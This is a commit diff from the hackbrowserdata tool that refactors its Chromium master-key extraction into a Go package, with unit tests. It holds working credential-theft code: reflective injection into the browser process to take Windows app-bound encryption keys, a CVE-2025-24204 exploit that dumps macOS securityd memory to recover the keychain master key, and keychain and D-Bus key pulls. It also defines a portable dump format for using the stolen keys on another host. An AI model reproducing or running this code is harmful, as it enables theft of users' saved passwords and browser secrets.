refactor: extract master-key code into masterkey package (#604)

This commit is contained in:
Roger
2026-06-01 16:08:32 +08:00
committed by GitHub
parent b901f7dff0
commit c444314832
50 changed files with 449 additions and 580 deletions
+98
View File
@@ -0,0 +1,98 @@
//go:build windows
package masterkey
import (
"encoding/base64"
"errors"
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/injector"
"github.com/moond4rk/hackbrowserdata/utils/winutil"
)
const envEncKeyB64 = "HBD_ABE_ENC_B64"
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
type ABERetriever struct{}
func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) {
// Non-ABE forks (Opera/Vivaldi/Yandex) supply no WindowsABEKey — treat as "not applicable".
// (Pre-v20 Chrome takes the errNoABEKey path below.)
browserKey := strings.TrimSpace(hints.WindowsABEKey)
if browserKey == "" {
return nil, nil
}
encKey, err := loadEncryptedKey(hints.LocalStatePath)
if errors.Is(err, errNoABEKey) {
return nil, nil
}
if err != nil {
return nil, err
}
pl, err := payload.Get("amd64")
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
exePath, err := winutil.ExecutablePath(browserKey)
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
env := map[string]string{
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
}
inj := &injector.Reflective{}
key, err := inj.Inject(exePath, pl, env)
if err != nil {
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
}
if len(key) != 32 {
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
}
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
return key, nil
}
func loadEncryptedKey(localStatePath string) ([]byte, error) {
if localStatePath == "" {
return nil, errNoABEKey
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("abe: read Local State: %w", err)
}
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
if !raw.Exists() {
return nil, errNoABEKey
}
decoded, err := base64.StdEncoding.DecodeString(raw.String())
if err != nil {
return nil, fmt.Errorf("abe: base64 decode: %w", err)
}
if len(decoded) <= len(appbPrefix) {
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
}
for i, b := range appbPrefix {
if decoded[i] != b {
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
decoded[:len(appbPrefix)], appbPrefix)
}
}
return decoded[len(appbPrefix):], nil
}
+81
View File
@@ -0,0 +1,81 @@
package masterkey
import (
"encoding/json"
"fmt"
"io"
"os"
"os/user"
"runtime"
"time"
)
const DumpVersion = "1"
// Dump is the portable, cross-host container for Chromium master keys — produce it on one host to
// decrypt copied profile data on another without DPAPI / ABE / Keychain / D-Bus.
type Dump struct {
Version string `json:"version"`
CreatedAt time.Time `json:"created_at"`
Host Host `json:"host"`
Vaults []Vault `json:"vaults"`
}
// Host OS / Arch always set; Hostname / User best-effort (empty on syscall failure).
type Host struct {
OS string `json:"os"`
Arch string `json:"arch"`
Hostname string `json:"hostname,omitempty"`
User string `json:"user,omitempty"`
}
// Vault groups profiles sharing master keys (master keys are per-installation, not per-profile).
type Vault struct {
Browser string `json:"browser"`
UserDataDir string `json:"user_data_dir"`
Profiles []string `json:"profiles"`
Keys MasterKeys `json:"keys"`
}
func NewDump() Dump {
return Dump{
Version: DumpVersion,
CreatedAt: time.Now().UTC(),
Host: currentHost(),
Vaults: []Vault{},
}
}
func currentHost() Host {
h := Host{OS: runtime.GOOS, Arch: runtime.GOARCH}
if name, err := os.Hostname(); err == nil {
h.Hostname = name
}
if u, err := user.Current(); err == nil {
h.User = u.Username
}
return h
}
func (d Dump) WriteJSON(w io.Writer) error {
enc := json.NewEncoder(w)
enc.SetIndent("", " ")
if err := enc.Encode(d); err != nil {
return fmt.Errorf("encode dump: %w", err)
}
return nil
}
// ReadJSON parses a Dump and rejects versions this build can't interpret — a silent misparse of a
// future v2 schema is worse than a clear error.
func ReadJSON(r io.Reader) (Dump, error) {
var d Dump
dec := json.NewDecoder(r)
if err := dec.Decode(&d); err != nil {
return Dump{}, fmt.Errorf("decode dump: %w", err)
}
if d.Version != DumpVersion {
return Dump{}, fmt.Errorf("unsupported dump version %q (this build expects %q)", d.Version, DumpVersion)
}
return d, nil
}
+41
View File
@@ -0,0 +1,41 @@
package masterkey
import (
"bytes"
"strings"
"testing"
)
func TestReadJSON_RejectsUnknownVersion(t *testing.T) {
input := bytes.NewBufferString(`{"version":"99","created_at":"2026-05-16T00:00:00Z","host":{"os":"linux","arch":"amd64"},"vaults":[]}`)
_, err := ReadJSON(input)
if err == nil {
t.Fatal("ReadJSON should reject unknown version, got nil error")
}
if !strings.Contains(err.Error(), "unsupported dump version") {
t.Errorf("error should mention unsupported version, got: %v", err)
}
}
func TestReadJSON_RejectsMissingVersion(t *testing.T) {
input := bytes.NewBufferString(`{"created_at":"2026-05-16T00:00:00Z","host":{"os":"linux","arch":"amd64"},"vaults":[]}`)
_, err := ReadJSON(input)
if err == nil {
t.Fatal("ReadJSON should reject empty version, got nil error")
}
}
func TestReadJSON_AcceptsCurrentVersion(t *testing.T) {
d := NewDump()
var buf bytes.Buffer
if err := d.WriteJSON(&buf); err != nil {
t.Fatalf("WriteJSON: %v", err)
}
parsed, err := ReadJSON(&buf)
if err != nil {
t.Fatalf("ReadJSON: %v", err)
}
if parsed.Version != DumpVersion {
t.Errorf("Version = %q, want %q", parsed.Version, DumpVersion)
}
}
+236
View File
@@ -0,0 +1,236 @@
//go:build darwin
package masterkey
// CVE-2025-24204: gcore holds the com.apple.system-task-ports.read entitlement, so a root process can
// dump securityd memory without a TCC prompt; we scan the dump for the 24-byte keychain master key.
// PoC: https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/keychainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
loginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
// findProcessByName returns the PID of the first process matching name.
// If forceRoot is true, only matches processes owned by root (uid 0).
func findProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
// DecryptKeychainRecords dumps securityd memory, scans for the keychain master key, and uses it to
// read login.keychain-db's generic password records. Requires root.
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
if os.Geteuid() != 0 {
return nil, errors.New("requires root privileges")
}
pid, err := findProcessByName("securityd", true)
if err != nil {
return nil, fmt.Errorf("failed to find securityd pid: %w", err)
}
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
corePath := fmt.Sprintf("%s.%d", corePrefix, pid)
defer os.Remove(corePath)
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
}
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
regions, err := findMallocSmallRegions(pid)
if err != nil {
return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
}
candidates, err := scanMasterKeyCandidates(corePath, regions)
if err != nil {
return nil, fmt.Errorf("scan master key candidates: %w", err)
}
if len(candidates) == 0 {
return nil, fmt.Errorf("no master key candidates found in securityd memory")
}
// read keychain file once, reuse buffer for each candidate
keychainBuf, err := os.ReadFile(loginKeychainPath)
if err != nil {
return nil, fmt.Errorf("read keychain: %w", err)
}
// try each candidate key against the keychain
for _, candidate := range candidates {
kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))
if err != nil {
continue
}
if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {
continue
}
records, err := kc.GenericPasswords()
if err != nil {
continue
}
if len(records) > 0 {
return records, nil
}
}
return nil, fmt.Errorf("tried %d candidates, none unlocked keychain", len(candidates))
}
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
//
// securityd stores the master key in a MALLOC_SMALL region with the layout:
//
// [0x18 (8 bytes)] [pointer to key data (8 bytes)]
//
// 0x18 = 24 is the key length. The pointer references a 24-byte buffer
// within the same region containing the raw master key.
func scanMasterKeyCandidates(corePath string, regions []addressRange) ([]string, error) {
cmf, err := macho.Open(corePath)
if err != nil {
return nil, fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
continue
}
for i := 0; i < len(data)-16; i += 8 {
// look for the length marker (0x18 = 24 bytes)
val := binary.LittleEndian.Uint64(data[i : i+8])
if val != 0x18 {
continue
}
// next 8 bytes should be a pointer within this region
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr < region.start || ptr > region.end {
continue
}
// read 24 bytes at the pointer offset
offset := ptr - vaddr
if offset+0x18 > uint64(len(data)) {
continue
}
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
}
}
}
return candidates, nil
}
// findMallocSmallRegions parses vmmap output to find MALLOC_SMALL heap regions.
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeParts := strings.Split(parts[1], "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
// getMallocSmallRegionData returns the Mach-O segment data + vaddr for the given address range.
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}
+53
View File
@@ -0,0 +1,53 @@
package masterkey
import (
"errors"
"fmt"
)
// MasterKeys holds one key per cipher tier; a profile can mix tiers (Win v10+v20, Linux v10+v11),
// so each is populated independently. A nil tier = that cipher version can't be decrypted.
type MasterKeys struct {
V10 []byte `json:"v10,omitempty"`
V11 []byte `json:"v11,omitempty"`
V20 []byte `json:"v20,omitempty"`
}
func (k MasterKeys) HasAny() bool {
return k.V10 != nil || k.V11 != nil || k.V20 != nil
}
// Retrievers is the per-tier retriever configuration; unused slots are nil.
type Retrievers struct {
V10 Retriever
V11 Retriever
V20 Retriever
}
// NewMasterKeys fetches each non-nil tier and joins per-tier errors. A retriever returning (nil, nil)
// means "tier not applicable" and contributes no key. Never logs — the caller decides severity.
func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) {
var keys MasterKeys
var errs []error
for _, t := range []struct {
name string
r Retriever
dst *[]byte
}{
{"v10", r.V10, &keys.V10},
{"v11", r.V11, &keys.V11},
{"v20", r.V20, &keys.V20},
} {
if t.r == nil {
continue
}
k, err := t.r.RetrieveKey(hints)
if err != nil {
errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
continue
}
*t.dst = k
}
return keys, errors.Join(errs...)
}
+175
View File
@@ -0,0 +1,175 @@
package masterkey
import (
"bytes"
"errors"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// recordingRetriever captures call count and arguments so tests can verify each tier's retriever
// is invoked exactly once with the expected hints.
type recordingRetriever struct {
key []byte
err error
calls int
gotHints Hints
}
func (r *recordingRetriever) RetrieveKey(hints Hints) ([]byte, error) {
r.calls++
r.gotHints = hints
return r.key, r.err
}
func TestNewMasterKeys_Matrix(t *testing.T) {
k10 := bytes.Repeat([]byte{0x10}, 32)
k11 := bytes.Repeat([]byte{0x11}, 32)
k20 := bytes.Repeat([]byte{0x20}, 32)
tests := []struct {
name string
v10 *recordingRetriever
v11 *recordingRetriever
v20 *recordingRetriever
wantV10 []byte
wantV11 []byte
wantV20 []byte
wantErrParts []string // substrings that must all appear in the joined error; nil = no error
}{
{
name: "Windows happy path (V10+V20 ok, V11 not configured)",
v10: &recordingRetriever{key: k10},
v20: &recordingRetriever{key: k20},
wantV10: k10, wantV20: k20,
},
{
name: "Linux happy path (V10+V11 ok, V20 not configured)",
v10: &recordingRetriever{key: k10},
v11: &recordingRetriever{key: k11},
wantV10: k10, wantV11: k11,
},
{
name: "macOS happy path (V10 only)",
v10: &recordingRetriever{key: k10},
wantV10: k10,
},
{
name: "all three tiers succeed",
v10: &recordingRetriever{key: k10},
v11: &recordingRetriever{key: k11},
v20: &recordingRetriever{key: k20},
wantV10: k10, wantV11: k11, wantV20: k20,
},
{
name: "one tier errors, others succeed (degraded)",
v10: &recordingRetriever{key: k10},
v20: &recordingRetriever{err: errors.New("inject failed")},
wantV10: k10,
wantErrParts: []string{"v20: inject failed"},
},
{
name: "two tiers error, one succeeds",
v10: &recordingRetriever{key: k10},
v11: &recordingRetriever{err: errors.New("dbus failed")},
v20: &recordingRetriever{err: errors.New("inject failed")},
wantV10: k10,
wantErrParts: []string{"v11: dbus failed", "v20: inject failed"},
},
{
name: "all three tiers error (total failure)",
v10: &recordingRetriever{err: errors.New("dpapi failed")},
v11: &recordingRetriever{err: errors.New("dbus failed")},
v20: &recordingRetriever{err: errors.New("inject failed")},
wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"},
},
{
name: "tier returns (nil, nil) — not applicable, silent",
v10: &recordingRetriever{key: k10},
v20: &recordingRetriever{}, // ABERetriever on non-ABE fork
wantV10: k10,
},
{
name: "all tiers (nil, nil) — no keys, no errors",
v10: &recordingRetriever{},
v11: &recordingRetriever{},
v20: &recordingRetriever{},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
var r Retrievers
if tt.v10 != nil {
r.V10 = tt.v10
}
if tt.v11 != nil {
r.V11 = tt.v11
}
if tt.v20 != nil {
r.V20 = tt.v20
}
keys, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"})
assert.Equal(t, tt.wantV10, keys.V10)
assert.Equal(t, tt.wantV11, keys.V11)
assert.Equal(t, tt.wantV20, keys.V20)
if len(tt.wantErrParts) == 0 {
require.NoError(t, err)
} else {
require.Error(t, err)
for _, part := range tt.wantErrParts {
assert.Contains(t, err.Error(), part, "joined error should mention each failing tier")
}
}
// Every configured retriever must be called exactly once — this is the property
// that prevents any regression where a tier is silently bypassed.
for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} {
if mock == nil {
continue
}
assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name)
assert.Equal(t, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"}, mock.gotHints)
}
})
}
}
func TestNewMasterKeys_AllNilRetrievers(t *testing.T) {
// All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up.
keys, err := NewMasterKeys(Retrievers{}, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"})
require.NoError(t, err)
assert.Nil(t, keys.V10)
assert.Nil(t, keys.V11)
assert.Nil(t, keys.V20)
}
func TestNewMasterKeys_PartialNil(t *testing.T) {
// Only V10 wired — typical macOS shape. V11/V20 left nil.
k10 := []byte("v10-key-bytes-for-testing")
r := &recordingRetriever{key: k10}
keys, err := NewMasterKeys(Retrievers{V10: r}, Hints{KeychainLabel: "Chrome"})
require.NoError(t, err)
assert.Equal(t, k10, keys.V10)
assert.Nil(t, keys.V11)
assert.Nil(t, keys.V20)
assert.Equal(t, 1, r.calls)
assert.Equal(t, Hints{KeychainLabel: "Chrome"}, r.gotHints)
}
func TestNewMasterKeys_ErrorWrapping(t *testing.T) {
// errors.Is should traverse errors.Join to find the original error — useful for callers
// that want to check for specific error types without string matching.
sentinel := errors.New("sentinel")
r := Retrievers{V20: &recordingRetriever{err: sentinel}}
_, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome"})
require.Error(t, err)
assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error")
}
+21
View File
@@ -0,0 +1,21 @@
//go:build darwin || linux
package masterkey
import (
"hash"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// pbkdf2Params holds platform-specific PBKDF2 parameters (each platform file defines its own).
type pbkdf2Params struct {
salt []byte
iterations int
keySize int
hashFunc func() hash.Hash
}
func (p pbkdf2Params) deriveKey(secret []byte) []byte {
return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keySize, p.hashFunc)
}
+49
View File
@@ -0,0 +1,49 @@
// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format).
// Firefox and Safari own their own key paths and don't route through here.
package masterkey
import (
"errors"
"fmt"
"github.com/moond4rk/hackbrowserdata/log"
)
// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring).
var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
// Hints bundles inputs for Retriever; each retriever reads only the field that applies to it.
type Hints struct {
KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label
WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable
LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows
}
// Retriever obtains a Chromium master key from one platform source (DPAPI, Keychain, D-Bus, …).
type Retriever interface {
RetrieveKey(hints Hints) ([]byte, error)
}
// ChainRetriever tries retrievers in order, first success wins (macOS V10: gcoredump→password→security).
type ChainRetriever struct {
retrievers []Retriever
}
func NewChain(retrievers ...Retriever) Retriever {
return &ChainRetriever{retrievers: retrievers}
}
func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) {
var errs []error
for _, r := range c.retrievers {
key, err := r.RetrieveKey(hints)
if err == nil && len(key) > 0 {
return key, nil
}
if err != nil {
log.Debugf("retriever %T failed: %v", r, err)
errs = append(errs, fmt.Errorf("%T: %w", r, err))
}
}
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
}
+173
View File
@@ -0,0 +1,173 @@
//go:build darwin
package masterkey
import (
"bytes"
"context"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"sync"
"time"
"github.com/moond4rk/keychainbreaker"
"github.com/moond4rk/hackbrowserdata/log"
)
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
var darwinParams = pbkdf2Params{
salt: []byte("saltysalt"),
iterations: 1003,
keySize: 16,
hashFunc: sha1.New,
}
const securityCmdTimeout = 30 * time.Second
// GcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root).
// Records are cached once (sync.Once) so the dump runs a single time across all browsers.
type GcoredumpRetriever struct {
once sync.Once
records []keychainbreaker.GenericPassword
err error
}
// RetrieveKey returns (nil, nil) on failure so ChainRetriever falls through silently — the common
// "needs root" case isn't warning-worthy and would drown real warnings (same as ABERetriever).
func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) {
r.once.Do(func() {
r.records, r.err = DecryptKeychainRecords()
})
if r.err != nil {
log.Debugf("gcoredump: %v", r.err)
return nil, nil //nolint:nilerr // intentional silent fallthrough
}
key, err := findStorageKey(r.records, hints.KeychainLabel)
if err != nil {
log.Debugf("gcoredump: %v", err)
return nil, nil //nolint:nilerr // intentional silent fallthrough
}
return key, nil
}
func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) {
kc, err := keychainbreaker.Open()
if err != nil {
return nil, fmt.Errorf("open keychain: %w", err)
}
if err := kc.Unlock(keychainbreaker.WithPassword(password)); err != nil {
return nil, fmt.Errorf("unlock keychain: %w", err)
}
return kc.GenericPasswords()
}
func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) {
for _, rec := range records {
if rec.Account == storage {
return darwinParams.deriveKey(rec.Password), nil
}
}
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
}
// KeychainPasswordRetriever unlocks login.keychain-db with the macOS login password (no root).
// Records are cached once and reused across browsers.
type KeychainPasswordRetriever struct {
Password string
once sync.Once
records []keychainbreaker.GenericPassword
err error
}
func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) {
if r.Password == "" {
return nil, fmt.Errorf("keychain password not provided")
}
r.once.Do(func() {
r.records, r.err = loadKeychainRecords(r.Password)
})
if r.err != nil {
return nil, r.err
}
return findStorageKey(r.records, hints.KeychainLabel)
}
// SecurityCmdRetriever queries Keychain via the macOS `security` CLI (may prompt). Results are
// cached per storage name so each browser's key is fetched once.
type SecurityCmdRetriever struct {
mu sync.Mutex
cache map[string]securityResult
}
type securityResult struct {
key []byte
err error
}
func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) {
storage := hints.KeychainLabel
r.mu.Lock()
defer r.mu.Unlock()
if res, ok := r.cache[storage]; ok {
return res.key, res.err
}
key, err := r.retrieveKeyOnce(storage)
r.cache[storage] = securityResult{key: key, err: err}
return key, err
}
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout)
defer cancel()
var stdout, stderr bytes.Buffer
cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
}
// `security` exits non-zero with empty stderr when the user denies the prompt or mistypes;
// surface that instead of the cryptic "exit status 128 ()".
stderrStr := strings.TrimSpace(stderr.String())
if stderrStr == "" {
return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err)
}
return nil, fmt.Errorf("security command: %w (%s)", err, stderrStr)
}
if stderr.Len() > 0 {
return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String()))
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return nil, fmt.Errorf("keychain: empty secret for %s", storage)
}
return darwinParams.deriveKey(secret), nil
}
// DefaultRetrievers wires the macOS V10 chain (the only tier Chromium uses here), first success wins:
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
// 3. SecurityCmdRetriever — `security` CLI fallback (may prompt)
func DefaultRetrievers(keychainPassword string) Retrievers {
chain := []Retriever{&GcoredumpRetriever{}}
if keychainPassword != "" {
chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
}
chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
return Retrievers{V10: NewChain(chain...)}
}
+41
View File
@@ -0,0 +1,41 @@
//go:build darwin
package masterkey
import (
"testing"
"github.com/moond4rk/keychainbreaker"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestFindStorageKey_Found(t *testing.T) {
records := []keychainbreaker.GenericPassword{
{Account: "Chrome", Password: []byte("mock-secret")},
{Account: "Brave", Password: []byte("brave-secret")},
}
key, err := findStorageKey(records, "Chrome")
require.NoError(t, err)
assert.Equal(t, darwinParams.deriveKey([]byte("mock-secret")), key)
}
func TestFindStorageKey_NotFound(t *testing.T) {
records := []keychainbreaker.GenericPassword{
{Account: "Chrome", Password: []byte("mock-secret")},
}
key, err := findStorageKey(records, "Firefox")
require.Error(t, err)
assert.Nil(t, key)
assert.ErrorIs(t, err, errStorageNotFound)
}
func TestKeychainPasswordRetriever_EmptyPassword(t *testing.T) {
r := &KeychainPasswordRetriever{Password: ""}
key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.Error(t, err)
assert.Nil(t, key)
assert.Contains(t, err.Error(), "keychain password not provided")
}
+88
View File
@@ -0,0 +1,88 @@
//go:build linux
package masterkey
import (
"crypto/sha1"
"fmt"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
)
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc
var linuxParams = pbkdf2Params{
salt: []byte("saltysalt"),
iterations: 1,
keySize: 16,
hashFunc: sha1.New,
}
// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service.
type DBusRetriever struct{}
func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) {
storage := hints.KeychainLabel
conn, err := dbus.SessionBus()
if err != nil {
return nil, fmt.Errorf("dbus session: %w", err)
}
svc, err := keyring.GetSecretService(conn)
if err != nil {
return nil, fmt.Errorf("secret service: %w", err)
}
session, err := svc.OpenSession()
if err != nil {
return nil, fmt.Errorf("open session: %w", err)
}
defer session.Close()
collections, err := svc.GetAllCollections()
if err != nil {
return nil, fmt.Errorf("get collections: %w", err)
}
for _, col := range collections {
items, err := col.GetAllItems()
if err != nil {
continue
}
for _, item := range items {
label, err := item.GetLabel()
if err != nil {
continue
}
if label == storage {
secret, err := item.GetSecret(session.Path())
if err != nil {
return nil, fmt.Errorf("get secret for %s: %w", storage, err)
}
if len(secret.Value) > 0 {
return linuxParams.deriveKey(secret.Value), nil
}
}
}
}
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
}
// PosixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the
// deterministic v10 key used when no keyring exists (headless/Docker/CI). Mirrors PosixKeyProvider.
type PosixRetriever struct{}
func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) {
return linuxParams.deriveKey([]byte("peanuts")), nil
}
// DefaultRetrievers wires the Linux tiers, one per prefix Chromium emits: v10 = PBKDF2("peanuts")
// (kV10Key, no keyring); v11 = PBKDF2(keyring secret) (kV11Key, via D-Bus). A profile can carry both
// if the host moved between headless and keyring sessions, so both run independently.
func DefaultRetrievers() Retrievers {
return Retrievers{
V10: &PosixRetriever{},
V11: &DBusRetriever{},
}
}
+66
View File
@@ -0,0 +1,66 @@
//go:build linux
package masterkey
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPosixRetriever(t *testing.T) {
r := &PosixRetriever{}
key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"})
require.NoError(t, err)
assert.Equal(t, linuxParams.deriveKey([]byte("peanuts")), key)
assert.Len(t, key, linuxParams.keySize)
// The key should not be all zeros.
allZero := true
for _, b := range key {
if b != 0 {
allZero = false
break
}
}
assert.False(t, allZero, "derived key should not be all zeros")
// "peanuts" is a hardcoded password, so the result should be the same regardless of the hints
// or number of calls.
key2, err := r.RetrieveKey(Hints{KeychainLabel: "Brave"})
require.NoError(t, err)
assert.Equal(t, key, key2, "kV10Key should be constant across any storage label")
}
// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key
// reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes).
func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) {
want := []byte{
0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53,
0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78,
}
r := &PosixRetriever{}
key, err := r.RetrieveKey(Hints{})
require.NoError(t, err)
assert.Equal(t, want, key)
}
func TestDefaultRetrievers_Linux(t *testing.T) {
r := DefaultRetrievers()
// V10 slot: peanuts-derived kV10Key — PosixRetriever.
assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)")
// V11 slot: D-Bus keyring kV11Key — DBusRetriever.
assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)")
// V20 slot: ABE is Windows-only, nil on Linux.
assert.Nil(t, r.V20, "V20 slot must stay nil on Linux")
// Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may
// fail in test env, which is fine — we only want to confirm the wiring, not real keys).
require.NotNil(t, r.V10)
require.NotNil(t, r.V11)
}
+69
View File
@@ -0,0 +1,69 @@
package masterkey
import (
"errors"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
